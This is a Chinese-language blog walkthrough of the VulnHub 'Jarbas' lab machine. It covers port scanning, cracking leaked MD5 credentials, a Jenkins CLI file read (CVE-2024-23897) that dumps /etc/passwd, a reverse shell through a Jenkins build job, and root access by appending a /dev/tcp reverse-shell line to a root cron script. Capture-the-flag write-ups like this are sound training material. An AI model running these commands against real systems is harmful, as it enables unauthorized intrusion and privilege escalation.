打靶記錄-Jarbas-Jenkins

sunset2131發表於2024-09-21
JARJenkins

靶機連結

https://www.vulnhub.com/entry/jarbas-1,232/

主機發現埠掃描

  • 掃描網段存活主機，因為主機是我最後新增的，所以靶機地址是135的

    nmap -sP 192.168.75.0/24   
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:03 CST
Nmap scan report for 192.168.75.1
Host is up (0.00032s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00036s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.135
Host is up (0.00032s latency).
MAC Address: 00:0C:29:08:91:76 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.

  • 掃描主機開放埠，開放埠：22,80,3306,8080

    nmap -sT -min-rate 10000 -p- 192.168.75.135
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:05 CST
Nmap scan report for 192.168.75.135
Host is up (0.00074s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:08:91:76 (VMware)

  • 掃描服務版本及系統版本

    nmap -sT -sV -O -p22,80,3306,8080 192.168.75.135
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:07 CST
Nmap scan report for 192.168.75.135
Host is up (0.00076s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
MAC Address: 00:0C:29:08:91:76 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

  • 掃描漏洞，沒什麼值得注意的漏洞，不過發現了兩個資料夾/icons/ 和/robots.txt

    map -script=vuln -p22,80,3306,8080 192.168.75.135
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:08 CST
Nmap scan report for 192.168.75.135
Host is up (0.00032s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-enum: 
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:08:91:76 (VMware)

    滲透優先順序 ：80,8080→3306→22

WEB滲透

80埠

  • 掃描目錄 192.168.75.135:80

    python .\dirsearch.py -u http://192.168.75.135/
//
[14:12:53] 200 -  359B  - /access.html
[14:12:58] 403 -  210B  - /cgi-bin/

  • 發現/access.html ，訪問發現是有用的資訊

    Creds encrypted in a safe way!
<image>
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

    乍一看很像MD5，破解後得到以下內容，大概是一些賬號密碼，在哪裡使用暫時還不知道

    tiago:italia99
trindade:marianna
eder:vipsu

  • 再檢視前面nmap掃描出來的icons 目錄，發現沒什麼有用的資訊

8080埠

  • 訪問8080埠，發現是登陸頁面，並且是Jenkins CMS

    image

  • 先訪問nmap掃描出來的robots.txt ,獲得以下內容

    # we don't want robots to click "build" links
User-agent: *
Disallow: /

    感覺也沒啥利用的

  • 回到登陸頁面，嘗試使用之前獲得的使用者資訊登入

    發現 eder:vipsu 可以登入進去

  • 進入後臺，仔細挖掘一些有用的設定

    Jenkins CLI , 指令碼命令列 , 系統資訊 等都是我們感興趣的

    image

    進入關於jenkins ，發現版本是 2.113

漏洞利用

  • 查閱資訊，發現存在任意檔案讀取 CVE-2024-23897，我們嘗試利用

    https://blog.csdn.net/qq_34594929/article/details/136446671

  • 進入Jenkins CLI ，下載 Jenkins-cli.jar

  • 然後到 管理Jenkins →全域性安全設定 →勾選匿名使用者具有可讀許可權

  • 開啟kali命令列輸入，獲得/etc/passwd

    java -jar jenkins-cli.jar -s http://192.168.75.135:8080 connect-node '@/etc/passwd'
//
icked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin: No such agent "ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin" exists.
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin: No such agent "systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin" exists.
daemon:x:2:2:daemon:/sbin:/sbin/nologin: No such agent "daemon:x:2:2:daemon:/sbin:/sbin/nologin" exists.
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin: No such agent "lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false: No such agent "jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false" exists.
adm:x:3:4:adm:/var/adm:/sbin/nologin: No such agent "adm:x:3:4:adm:/var/adm:/sbin/nologin" exists.
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown: No such agent "shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown" exists.
sync:x:5:0:sync:/sbin:/bin/sync: No such agent "sync:x:5:0:sync:/sbin:/bin/sync" exists.
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin: No such agent "mail:x:8:12:mail:/var/spool/mail:/sbin/nologin" exists.
dbus:x:81:81:System message bus:/:/sbin/nologin: No such agent "dbus:x:81:81:System message bus:/:/sbin/nologin" exists.
postfix:x:89:89::/var/spool/postfix:/sbin/nologin: No such agent "postfix:x:89:89::/var/spool/postfix:/sbin/nologin" exists.
operator:x:11:0:operator:/root:/sbin/nologin: No such agent "operator:x:11:0:operator:/root:/sbin/nologin" exists.
eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash: No such agent "eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash" exists.
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin: No such agent "apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin" exists.
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin: No such agent "mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin" exists.
polkitd:x:999:997:User for polkitd:/:/sbin/nologin: No such agent "polkitd:x:999:997:User for polkitd:/:/sbin/nologin" exists.
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin: No such agent "sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin" exists.
halt:x:7:0:halt:/sbin:/sbin/halt: No such agent "halt:x:7:0:halt:/sbin:/sbin/halt" exists.
nobody:x:99:99:Nobody:/:/sbin/nologin: No such agent "nobody:x:99:99:Nobody:/:/sbin/nologin" exists.
games:x:12:100:games:/usr/games:/sbin/nologin: No such agent "games:x:12:100:games:/usr/games:/sbin/nologin" exists.
chrony:x:998:996::/var/lib/chrony:/sbin/nologin: No such agent "chrony:x:998:996::/var/lib/chrony:/sbin/nologin" exists.
bin:x:1:1:bin:/bin:/sbin/nologin: No such agent "bin:x:1:1:bin:/bin:/sbin/nologin" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

    但是讀取不了/etc/shadow ,不過我們發現/etc/passwd裡面存在eder 使用者，和我們進入後臺的使用者名稱一樣，我們嘗試一下使用ssh登入，登陸失敗，換條路子走

利用Jenkins後臺反彈shell

  • 發現 新建任務裡面的構建一個自由風格的軟體專案裡面可以執行shell程式碼

    image

  • 輸入反彈shell程式碼儲存

    image

  • kali開啟監聽

    nc -lvp 1234
//            
listening on [any] 1234 ...

  • 在Jenkins裡面點選構建，就會執行剛剛輸入的程式碼

  • 成功獲得shell

    nc -lvp 1234
listening on [any] 1234 ...
192.168.75.135: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.135] 54884

python -c "import pty;pty.spawn('/bin/bash')" // 獲得互動shell
bash-4.2$ ls
ls
bash-4.2$

提權

  • 檢視透過Jenkins後臺獲得的shell許可權

    bash-4.2$ whoami
jenkins
//
bash-4.2$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jenkins: ^C //要密碼
//                                                                                           
bash-4.2$ uname -a
Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
//
bash-4.2$ ls -l
total 0
//
bash-4.2$ dpkg -l
bash: dpkg: command not found

    許可權不高不低

  • 嘗試檢視crontab是否有root執行的自動化任務

    bash-4.2$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

    檔案內容是：

    bash-4.2$ cat /etc/script/CleaningScript.sh
#!/bin/bash

rm -rf /var/log/httpd/access_log.txt

    存在一條每隔五分鐘 使用root許可權清理某些東西的自動化任務

  • 我們可以嘗試追加反彈shell在該指令碼尾部，讓它使用root許可權來執行反彈shell程式碼

    提權成功，獲得root許可權，並且讀取flag內容

    bash-4.2$ echo "/bin/bash >& /dev/tcp/192.168.75.131/1235 0>&1" >> /etc/script/CleaningScript.sh
//
<& /dev/tcp/192.168.75.131/1235 0>&1" >> /etc/script/CleaningScript.sh       

    nc -lvp 1235                                                        
listening on [any] 1235 ...
//
192.168.75.135: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.135] 58338
python -c "import pty;pty.spawn('/bin/bash')"
[root@jarbas ~]# whoami
whoami
root
[root@jarbas ~]# uname -a
uname -a
Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@jarbas ~]# dpkg -l
dpkg -l
bash: dpkg: command not found
[root@jarbas ~]# cat flag.txt //讀取flag
cat flag.txt
Hey!

Congratulations! You got it! I always knew you could do it!
This challenge was very easy, huh? =)

Thanks for appreciating this machine.

@tiagotvrs 
[root@jarbas ~]#

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